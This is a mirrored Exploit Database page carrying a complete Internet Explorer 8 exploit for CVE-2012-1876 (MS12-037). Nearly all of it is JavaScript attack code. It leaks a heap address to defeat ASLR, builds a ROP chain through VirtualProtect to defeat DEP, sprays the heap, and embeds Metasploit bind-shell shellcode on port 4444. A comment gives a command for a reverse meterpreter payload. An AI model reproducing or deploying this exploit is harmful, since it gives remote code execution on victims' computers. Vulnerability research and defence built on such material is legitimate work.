Microsoft Internet Explorer 8 – Fixed Col Span ID (Full ASLR + DEP Bypass) (MS12-037)

Exploit Database
119 阅读

作者： sickness

日期： 2013-01-10
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/24017/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

201

202

203

204

205

206

207

208

209

210

211

212

213

214

215

216

217

218

219

220

221

222

223

224

225

226

227

228

229

230

231

232

233

234

235

236

237

238

239

240

241

242

243

244

245

246

247

248

249

250

251

252

253

254

255

256

257

258

<!--

** Exploit Title: Internet Explorer 8 Fixed Col Span ID full ASLR & DEP bypass

** Author: sickness@offsec.com

** Thanks to Ryujin, Dookie and mr_me :) for their help.

####################################################################

** Affected Software: Internet Explorer 8

** Vulnerability: Fixed Col Span ID

** CVE: CVE-2012-1876

** Metasploit exploit using NON-ASLR DLL: http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/browser/ms12_037_ie_colspan.rb

** Vupen Blog post: http://www.vupen.com/blog/20120710.Advanced_Exploitation_of_Internet_Explorer_HeapOv_CVE-2012-1876.php

** Tested on Windows 7 (x86) - IE 8.0.7601.17514

** Old version of the exploit available at: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/24017-old.zip

####################################################################

** The exploit bypasses ASLR without the need of any NON-ASLR dll's using a leak :)

** To get it working on a different version of Windows you will require to make your own chances to the exploit :)

** Have fun :)

-->

<html>

<body>

function strtoint(str) {

return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);

}

var free = "EEEE";

while ( free.length < 500 ) free += free;

var string1 = "AAAA";

while ( string1.length < 500 ) string1 += string1;

var string2 = "BBBB";

while ( string2.length < 500 ) string2 += string2;

var fr = new Array();

var al = new Array();

var bl = new Array();

var div_container = document.getElementById("evil");

div_container.style.cssText = "display:none";

for (var i=0; i < 500; i+=2) {

fr[i] = free.substring(0, (0x100-6)/2);

al[i] = string1.substring(0, (0x100-6)/2);

bl[i] = string2.substring(0, (0x100-6)/2);

var obj = document.createElement("button");

div_container.appendChild(obj);

}

for (var i=200; i<500; i+=2 ) {

fr[i] = null;

CollectGarbage();

}

function heapspray(cbuttonlayout) {

CollectGarbage();

var rop = cbuttonlayout + 4161; // RET

var rop = rop.toString(16);

var rop1 = rop.substring(4,8);

var rop2 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 11360; // POP EBP

var rop = rop.toString(16);

var rop3 = rop.substring(4,8);

var rop4 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 111675; // XCHG EAX,ESP

var rop = rop.toString(16);

var rop5 = rop.substring(4,8);

var rop6 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 12377; // POP EBX

var rop = rop.toString(16);

var rop7 = rop.substring(4,8);

var rop8 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 642768; // POP EDX

var rop = rop.toString(16);

var rop9 = rop.substring(4,8);

var rop10 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 12201; // POP ECX --> Changed

var rop = rop.toString(16);

var rop11 = rop.substring(4,8);

var rop12 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 5504544; // Writable location

var rop = rop.toString(16);

var writable1 = rop.substring(4,8);

var writable2 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 12462; // POP EDI

var rop = rop.toString(16);

var rop13 = rop.substring(4,8);

var rop14 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 12043; // POP ESI --> changed

var rop = rop.toString(16);

var rop15 = rop.substring(4,8);

var rop16 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 63776; // JMP EAX

var rop = rop.toString(16);

var jmpeax1 = rop.substring(4,8);

var jmpeax2 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 85751; // POP EAX

var rop = rop.toString(16);

var rop17 = rop.substring(4,8);

var rop18 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 4936; // VirtualProtect()

var rop = rop.toString(16);

var vp1 = rop.substring(4,8);

var vp2 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 454843; // MOV EAX,DWORD PTR DS:[EAX]

var rop = rop.toString(16);

var rop19 = rop.substring(4,8);

var rop20 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 234657; // PUSHAD

var rop = rop.toString(16);

var rop21 = rop.substring(4,8);

var rop22 = rop.substring(0,4); // } RET

var rop = cbuttonlayout + 408958; // PUSH ESP

var rop = rop.toString(16);

var rop23 = rop.substring(4,8);

var rop24 = rop.substring(0,4); // } RET

var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING

shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING

shellcode+= unescape("%u4141%u4141"); // PADDING

shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN

shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN

shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN

// Standard DEP bypass

shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP

shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP

shellcode+= unescape("%u1024%u0000"); // Size 0x00001024

shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX

shellcode+= unescape("%u0040%u0000"); // 0x00000040

shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX

shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location

shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI

shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET

shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI

shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX

shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX

shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()

shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]

shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD

shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP

shellcode+= unescape("%u9090%u9090"); // NOPs

// Bind shellcode on 4444 :)

// msf > generate -t js_le

// windows/shell_bind_tcp - 342 bytes

// http://www.metasploit.com

// VERBOSE=false, LPORT=4444, RHOST=, PrependMigrate=false,

// EXITFUNC=process, InitialAutoRunScript=, AutoRunScript=

// I would keep the shellcode the same size for better reliability :) also would stay away from meterpreter/reverse_tcp

// You can also generate as follows: msfpayload windows/meterpreter/reverse_https LHOST=192.168.12.13 LPORT=443 R | msfencode -a x86 -t js_le

shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b" +

"%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a" +

"%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf" +

"%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001" +

"%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18" +

"%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31" +

"%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03" +

"%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +

"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489" +

"%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a" +

"%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32" +

"%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900" +

"%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050" +

"%u5040%u5040%uea68%udf0f%uffe0%u89d5%u31c7" +

"%u53db%u0268%u1100%u895c%u6ae6%u5610%u6857" +

"%udbc2%u6737%ud5ff%u5753%ub768%u38e9%uffff" +

"%u53d5%u5753%u7468%u3bec%uffe1%u57d5%uc789" +

"%u7568%u4d6e%uff61%u68d5%u6d63%u0064%ue389" +

"%u5757%u3157%u6af6%u5912%ue256%u66fd%u44c7" +

"%u3c24%u0101%u448d%u1024%u00c6%u5444%u5650" +

"%u5656%u5646%u564e%u5356%u6856%ucc79%u863f" +

"%ud5ff%ue089%u564e%uff46%u6830%u8708%u601d" +

"%ud5ff%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff" +

"%u063c%u0a7c%ufb80%u75e0%ubb05%u1347%u6f72" +

"%u006a%uff53%u41d5");

// Total spray should be 1000

var padding = unescape("%u9090");

while (padding.length < 1000)

padding = padding + padding;

var padding = padding.substr(0, 1000 - shellcode.length);

shellcode+= padding;

while (shellcode.length < 100000)

shellcode = shellcode + shellcode;

var onemeg = shellcode.substr(0, 64*1024/2);

for (i=0; i<14; i++) {

onemeg += shellcode.substr(0, 64*1024/2);

}

onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

var spray = new Array();

for (i=0; i<100; i++) {

spray[i] = onemeg.substr(0, onemeg.length);

}

function leak(){

var leak_col = document.getElementById("132");

leak_col.width = "41";

leak_col.span = "19";

}

function get_leak() {

var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));

str_addr = str_addr - 1410704;

var hex = str_addr.toString(16);

//alert(hex);

setTimeout(function(){heapspray(str_addr)}, 50);

}

function trigger_overflow(){

var evil_col = document.getElementById("132");

evil_col.width = "1245880";

evil_col.span = "44";

}

setTimeout(function(){leak()}, 400);

setTimeout(function(){get_leak()},450);

setTimeout(function(){trigger_overflow()}, 700);

</script>

</body>

</html>